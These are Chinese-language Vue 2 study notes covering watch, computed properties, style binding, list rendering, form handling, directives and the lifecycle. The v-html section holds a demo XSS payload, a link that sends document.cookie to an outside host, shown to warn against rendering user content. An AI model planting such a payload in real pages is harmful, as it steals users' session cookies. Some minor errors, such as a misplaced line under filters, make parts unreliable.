计算属性简写
一般来说计算属性是不修改的,更多是读取出来展示。
并不是什么时候都能用简写,只有考虑读取,不考虑修改的时候才能用简写形式。
天气案例
1.7 监视
监视属性watch:
1.当被监视的属性变化时,回调函数自动调用,进行相关操作;
2.监视的属性必须存在,才能进行监视!!(除了data属性,computed属性也能监视)
3.监视的两种写法:
(1)new Vue时传入watch配置;
(2)通过vm.$watch监视;
(明确要监视哪些属性的时候用第一个。创建实例的时候不知道要监视谁,后续根据用户的一些行为然后才知道要监视哪个属性就用第二个)
watch配置属性:
immediate如果为true 代表如果在 wacth 里声明了之后,就会立即先去执行里面的handler方法
immediate (立即的) 初始化时让handlder调用一下
handler(newVal, oldVal) 当监视的属性发生改变的时候调用,参数可以拿到改变前后的值
deep 深度监听,可以监测多层级数据的改变
为什么配置项里的isHot不用加引号呢?
因为对象里的引号不用自己写,如果要用对象里的属性要加引号
1.7.1 深度监视
1.Vue中的watch默认不监测对象内部值的变化(监测一层)
2.配置deep:true可以监测对象内部值变化(监测多层)
备注:
(1)Vue默认是可以监视到多层级数据的改变的(修改number.a页面发生改变可以看出)。但是watch属性默认是不可以的,要想可以就得打开深度监视(为了效率)。
(2)使用watch时根据数据的具体结果,决定是否采用深度监视。
那么怎么才能监视上呢?
在handler方法上面加上deep:true即可
1.7.2 监视属性的简写
const vm = new Vue({ el: '#root', data: { isHot: true }, computed: { info() { return this.isHot ? '炎热' : '凉爽'; } }, methods: { changeWeather() { this.isHot = !this.isHot } }, watch: { // 正常写法: /* isHot: { // immediate: true, // deep:true, handler(newValue, oldValue) { console.log('isHot被修改了', newValue, oldValue); } }, */ // 简写: isHot(newValue, oldValue) { console.log('isHot被修改了', newValue, oldValue); } } }); // 正常写法: vm.$watch('isHot', { // immediate: true, // deep:true, handler(newValue, oldValue) { console.log('isHot被修改了', newValue, oldValue); } }); // 简写: vm.$watch('isHot', function(newValue, oldValue) { console.log('isHot被修改了', newValue, oldValue); });
1.7.3 watch对比computed
1.computed能完成的功能,watch都能完成。
2.watch能完成的功能,computed不一定能完成,例如:watch可以进行异步操作。(点击按钮让a过一秒+1,)
两个重要的小原则:
1.所有被Vue管理的函数,最好写成普通函数,这样this的指向才是vm 或 组件实例对象。
2.所有不被Vue所管理的函数(定时器的回调函数、ajax的回调函数、Promise的回调函数等),最好写成箭头函数,这样this的指向才是vm 或 组件实例对象。
1.8 class与style绑定
class样式:
写法==:class=“xxx”== xxx可以是字符串、对象、数组。
字符串写法适用于:类名不确定,要动态获取。
对象写法适用于:要绑定多个样式,个数不确定,名字也不确定。
数组写法适用于:要绑定多个样式,个数确定,名字也确定,但不确定用不用。
style样式:
:style="{fontSize: xxx}"其中xxx是动态值。(注意样式名得是小驼峰)
:style="[a,b]"其中a、b是样式对象。
<div id="root"> <!-- 绑定class样式--字符串写法,适用于:样式的类名不确定,需要动态指定 --> <div class="basic" :class="mood" @click="changeMood">{{name}}</div> <br/> <!-- 绑定class样式--数组写法,适用于:要绑定的样式个数不确定、名字也不确定 --> <div class="basic" :class="classArr">{{name}}</div> <br/> <!-- 绑定class样式--对象写法,适用于:要绑定的样式个数确定、名字也确定,但要动态决定用不用 --> <div class="basic" :class="classObj">{{name}}</div> <br/> <!-- 绑定style样式--对象写法 --> <div class="basic" :style="styleObj">{{name}}</div> <br/> <!-- 绑定style样式--数组写法 --> <div class="basic" :style="styleArr">{{name}}</div> </div> <script> const vm = new Vue({ el: '#root', data: { name: '尚硅谷', mood: 'normal', classArr: ['atguigu1', 'atguigu2', 'atguigu3'], classObj: { atguigu1: false, atguigu2: false }, styleObj: { fontSize: '40px', color: 'red' }, styleObj2: { backgroundColor: 'orange' }, styleArr: [{ fontSize: '40px', color: 'red' }, { backgroundColor: 'gray' }] }, methods: { changeMood() { const arr = ['normal', 'happy', 'sad']; const index = Math.floor(Math.random() * 3); this.mood = arr[index]; } }, }) </script>
1.9 渲染
条件渲染
=== 等值等类型
v-if
用来控制页面元素是否展示
写法:
v-if="表达式" v-else-if="表达式" v-else="表达式"
适用于:切换频率较低的场景。
特点:不展示的DOM元素直接被移除。
注意:v-if可以和:v-else-if、v-else一起使用,但要求结构不能被“打断”。
v-show
写法:v-show=“表达式”
适用于:切换频率较高的场景。
特点:不展示的DOM元素未被移除,仅仅是使用样式隐藏掉
v-show底层指令其实就是调整display:none
v-if和template
- 如果需要频繁切换 v-show 较好
- 当条件不成立时, v-if 的所有子节点不会解析(项目中使用)1.10. 列表渲染
列表渲染
面试题:react、vue中的key有什么作用?(key的内部原理)
1. 虚拟DOM中key的作用: key是虚拟DOM对象的标识,当数据发生变化时,Vue会根据【新数据】生成【新的虚拟DOM】, 随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较,比较规则如下: 2.对比规则: (1).旧虚拟DOM中找到了与新虚拟DOM相同的key: ①.若虚拟DOM中内容没变, 直接使用之前的真实DOM! ②.若虚拟DOM中内容变了, 则生成新的真实DOM,随后替换掉页面中之前的真实DOM。 (2).旧虚拟DOM中未找到与新虚拟DOM相同的key 创建新的真实DOM,随后渲染到到页面。 3. 用index作为key可能会引发的问题: 1. 若对数据进行:逆序添加、逆序删除等破坏顺序操作: 会产生没有必要的真实DOM更新 ==> 界面效果没问题, 但效率低。 2. 如果结构中还包含输入类的DOM: 会产生错误DOM更新 ==> 界面有问题。 4. 开发中如何选择key?: 1.最好使用每条数据的唯一标识作为key, 比如id、手机号、身份证号、学号等唯一值。 2.如果不存在对数据的逆序添加、逆序删除等破坏顺序操作,仅用于渲染列表用于展示, 使用index作为key是没有问题的。
1.10 过滤器
immediate (立即的) 初始化时让handlder调用一下
1.11 收集表单数据
简单来说,JSON.stringify () 就是将值转换为相应的 JSON 格式字符串。
v-model.trim用于去掉输入框内首尾空格
<div id="root"> <!-- 绑定一个提交事件,并阻止默认行为。表单的默认行为就是把表单提交。不提交,只执行方法 方法就是在控制台打印我们表单的数据,并以json的形式在后台打印 --> <form @submit.prevent="demo"> 账号:<input type="text" v-model.trim="userInfo.account"> <br/><br/> 密码:<input type="password" v-model="userInfo.password"> <br/><br/> 年龄:<input type="number" v-model.number="userInfo.age"> <br/><br/> <button>提交</button> </form> </div> <script type="text/javascript"> Vue.config.productionTip = false new Vue({ el:'#root', data:{ userInfo:{ account:'', password:'', age:18, } }, methods: { demo(){ console.log(JSON.stringify(this.userInfo)) } } }) </script>
v-model收集的是value值,且要给标签配置value值。
总结
v-model的三个修饰符:
lazy:失去焦点再收集数据
number:输入字符串转为有效的数字
trim:输入首尾空格过滤
1.12 内置指令
v-text指令
1.作用:向其所在的节点中渲染文本内容。
2.与插值语法的区别:v-text会替换掉节点中的内容,{undefined{xx}}则不会。
<!-- 准备好一个容器--> <div id="root"> <div>你好,{{name}}</div> <div v-text="name"></div> <div v-text="str"></div> </div> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 new Vue({ el:'#root', data:{ name:'张三', str:'<h3>你好啊!</h3>' } }) </script>
v-html指令
1.作用:向指定节点中渲染包含html结构的内容。
2.与插值语法的区别:
v-html会替换掉节点中所有的内容,{{xx}}则不会。
v-html可以识别html结构。
3.严重注意:v-html有安全性问题!!!!
在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!
<!-- 准备好一个容器--> <div id="root"> <div>你好,{{name}}</div> <div v-html="str"></div> <div v-html="str2"></div> </div> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 new Vue({ el:'#root', data:{ name:'张三', str:'<h3>你好啊!</h3>', str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>', } }) </script>
v-once指令
- v-once所在节点在初次动态渲染后,就视为静态内容了。
- 以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。
<!-- 准备好一个容器--> <div id="root"> <h2 v-once>初始化的n值是:{{ n }}</h2> <h2>当前的n值是:{{ n }}</h2> <button @click="n++">点我n+1</button> </div> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 new Vue({ el:'#root', data:{ n:1 } }) </script>
1.13 生命周期
Vue 实例有⼀个完整的⽣命周期,也就是从new Vue()、初始化事件(.once事件)和生命周期、编译模版、挂载Dom -> 渲染、更新 -> 渲染、卸载 等⼀系列过程,称这是Vue的⽣命周期。
回调函数是你留个处理方法给事件,事件发生了以后会自动执行你留下调处理方法
钩子函数是好比找了个代理,监视事件是否发生,如果发生了这个代理就执行你的事件处理方法;在这个过程中,代理就是钩子函数
在某种意义上,回调函数做的处理过程跟钩子函数中要调用调方法一样
但是有一点: 钩子函数一般是由事件发生者提供的。直白了说,它留下一个钩子,这个钩子的作用就是钩住你的回调方法
==钩子函数是在一个事件触发的时候,在系统级捕获到了他,然后做一些操作。==一段用以处理系统消息的程序,用以处理系统消息的程序,是说钩子函数是用于处理系统消息的
二、组件化编程
2.1 编写应用对比
传统方式编写应用
建议自行观看,讲的很清晰
组件化方式编写应用
组件的思想,其实就封装。能很好的实现代码复用技术
代码复用是写一次处处用(通过引用的方式),代码复制是写一次复制一次
组件的定义